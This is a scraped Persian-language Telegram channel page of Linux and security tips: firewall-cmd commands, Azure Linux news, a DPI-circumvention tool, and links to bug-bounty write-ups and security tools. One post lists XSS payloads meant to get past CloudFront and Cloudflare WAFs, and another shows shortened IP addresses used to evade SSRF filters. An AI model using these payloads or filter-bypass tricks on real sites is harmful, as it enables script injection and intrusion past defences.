@uselinux
ادامه firewall-cmd💥
گاهی اوقات سرویس ما از قبل ایجاد نشده یا با نوع نت ورک ما مچ نیست . اما میتونیم پورت رو اد کنیم با
و در اخر برای حذف پورت :
منبع:
https://www.redhat.com/sysadmin/secure-linux-network-firewall-cmd
ادامه firewall-cmd💥
گاهی اوقات سرویس ما از قبل ایجاد نشده یا با نوع نت ورک ما مچ نیست . اما میتونیم پورت رو اد کنیم با
--add-port
@uselinuxsudo firewall-cmd --add-port 1622/tcp --permanent
sudo firewall-cmd --reload
@uselinuxو در اخر برای حذف پورت :
sudo firewall-cmd --remove-port 1622/tcp --permanent
sudo firewall-cmd --reload
@uselinuxمنبع:
https://www.redhat.com/sysadmin/secure-linux-network-firewall-cmd
Enable Sysadmin
Secure your Linux network with firewall-cmd
Configuring and maintaining a firewall is a vital sysadmin skill, and Linux is no exception. Here's how to manage yours with firewall-cmd.
💥Linux On Azure! surpassed Windows
@uselinux
سال 2017 مارک راسینویچ CTOآژور مایکروسافت گفت یک چهارم اینستنس های مایکروسافت آژور, لینوکس هستن
@uselinux
سال 2018 اسکات گاتری در یک مصاحبه اختصاصی گفت که نصف ماشین های روی آژور لینوکس هستند
@uselinux
و اما امسال! ساشا لیوین (کرنل دولوپر لینوکس در مایکروسافت) گفت که استفاده از لینوکس در کلاود های ما از ویندوز پیشی گرفت!"
@uselinux
منبع :
https://www.zdnet.com/article/microsoft-developer-reveals-linux-is-now-more-used-on-azure-than-windows-server/
@uselinux
سال 2017 مارک راسینویچ CTOآژور مایکروسافت گفت یک چهارم اینستنس های مایکروسافت آژور, لینوکس هستن
@uselinux
سال 2018 اسکات گاتری در یک مصاحبه اختصاصی گفت که نصف ماشین های روی آژور لینوکس هستند
@uselinux
و اما امسال! ساشا لیوین (کرنل دولوپر لینوکس در مایکروسافت) گفت که استفاده از لینوکس در کلاود های ما از ویندوز پیشی گرفت!"
@uselinux
منبع :
https://www.zdnet.com/article/microsoft-developer-reveals-linux-is-now-more-used-on-azure-than-windows-server/
ZDNET
Microsoft developer reveals Linux is now more used on Azure than Windows Server
Linux rules all the clouds now, including Microsoft's own Azure.
⚜GreenTunnel
@UseLinux
ابزار GreenTunnel که با مکانیزمی جالب می تواند ساختار DPI شرکت های ارائه دهنده اینترنت را که برای بلاک کردن ترافیک خاص مورد استفاده قرار می گیرد،دور بزند.
➡️Download From Github
@UseLinux
@UseLinux
ابزار GreenTunnel که با مکانیزمی جالب می تواند ساختار DPI شرکت های ارائه دهنده اینترنت را که برای بلاک کردن ترافیک خاص مورد استفاده قرار می گیرد،دور بزند.
➡️Download From Github
@UseLinux
This media is not supported in your browser
VIEW IN TELEGRAM
دمو از GreenTunnel
چندتا نکته جالب که یادم رفت بگم اینکه شما میتونید با این ابزار هر سایتی رو باز کنید بدون اینکه آیپی شما عوض بشه یا از vpn و پروکسی خاصی استفاده بشه.😊
@UseLinux
چندتا نکته جالب که یادم رفت بگم اینکه شما میتونید با این ابزار هر سایتی رو باز کنید بدون اینکه آیپی شما عوض بشه یا از vpn و پروکسی خاصی استفاده بشه.😊
@UseLinux
💢پیلود جدید xss برای بایپس CloudFront:
<--
💢برای بایپس CloudFlare:
xss'"><iframe srcdoc='%26lt;script>;prompt
@UseLinux
<--
<img%2fsrc%3d onerror%3dalert(document.domain)> --!>💢برای بایپس CloudFlare:
xss'"><iframe srcdoc='%26lt;script>;prompt
${document.domain}%26lt;/script>'>@UseLinux
@UseLinux
#priv8
میدونستید که میشه آیپی آدرس هارو کوتاه کرد؟
این کارو میشه با برداشتن صفرها انجام داد.
اگر هر دو لینک زیر رو توی مرورگرتون جستجو کنید خواهید دید که نتیجه یکسان است.
http://1.0.0.1
http://1.1
جالبه نه؟
با اینکار میشه فیلترهای WAF که مربوط به SSRF و... هستند رو بایپس کرد.
@UseLinux
#priv8
میدونستید که میشه آیپی آدرس هارو کوتاه کرد؟
این کارو میشه با برداشتن صفرها انجام داد.
اگر هر دو لینک زیر رو توی مرورگرتون جستجو کنید خواهید دید که نتیجه یکسان است.
http://1.0.0.1
http://1.1
جالبه نه؟
با اینکار میشه فیلترهای WAF که مربوط به SSRF و... هستند رو بایپس کرد.
@UseLinux
باگی که از instagram کشف شد اجازه دسترسی به هر حسابی رو فراهم میکرد.
فیلم از یوتیوب:
https://youtu.be/4O9FjTMlHUM
مطالعه بیشتر:
https://thezerohack.com/hack-any-instagram
جایزه این باگ 30,000$ بود.
🆔@UseLinux
فیلم از یوتیوب:
https://youtu.be/4O9FjTMlHUM
مطالعه بیشتر:
https://thezerohack.com/hack-any-instagram
جایزه این باگ 30,000$ بود.
🆔@UseLinux
YouTube
How I Could Have Hacked Any Instagram Account | Proof of Concept
This article is about how I found a vulnerability on Instagram that allowed me to hack any Instagram account without consent permission. Facebook and Instagram security team fixed the issue and rewarded me $30000 as a part of their bounty program.
http…
http…
طبق گزارش شرکتSymantec هکرها امکان دسترسی و تغییر در فایل های منتقل شده توسط پیام رسان های واتساپ و تلگرام را دارند.
اطلاعات بیشتر:
https://symc.ly/2JCiWmJ
🆔@UseLinux
اطلاعات بیشتر:
https://symc.ly/2JCiWmJ
🆔@UseLinux
🔱 lain
مایکروسافت fuzzer framework جدید خود را که lain نام دارد رونمایی کرد.
این ابزار با زبان Rust نوشته شده است.
🔰Github:
https://github.com/microsoft/lain
🆔@UseLinux
مایکروسافت fuzzer framework جدید خود را که lain نام دارد رونمایی کرد.
این ابزار با زبان Rust نوشته شده است.
🔰Github:
https://github.com/microsoft/lain
🆔@UseLinux
در نسخه جدید Burp Suite v2.1.01
Websockets
اضافه شده میتونید آخرین نسخه رو از لینک زیر دانلود کنید.
https://bit.ly/32sRU8z
منبع:
https://bit.ly/2xMVvA3
🆔@UseLinux
Websockets
اضافه شده میتونید آخرین نسخه رو از لینک زیر دانلود کنید.
https://bit.ly/32sRU8z
منبع:
https://bit.ly/2xMVvA3
🆔@UseLinux
💢باگ Buffer overflow در برنامه busybox:
busybox/scripts/kconfig/gconf.c
منبع:
https://t.co/wsPsuVLPXj
🆔@UseLinux
busybox/scripts/kconfig/gconf.c
منبع:
https://t.co/wsPsuVLPXj
🆔@UseLinux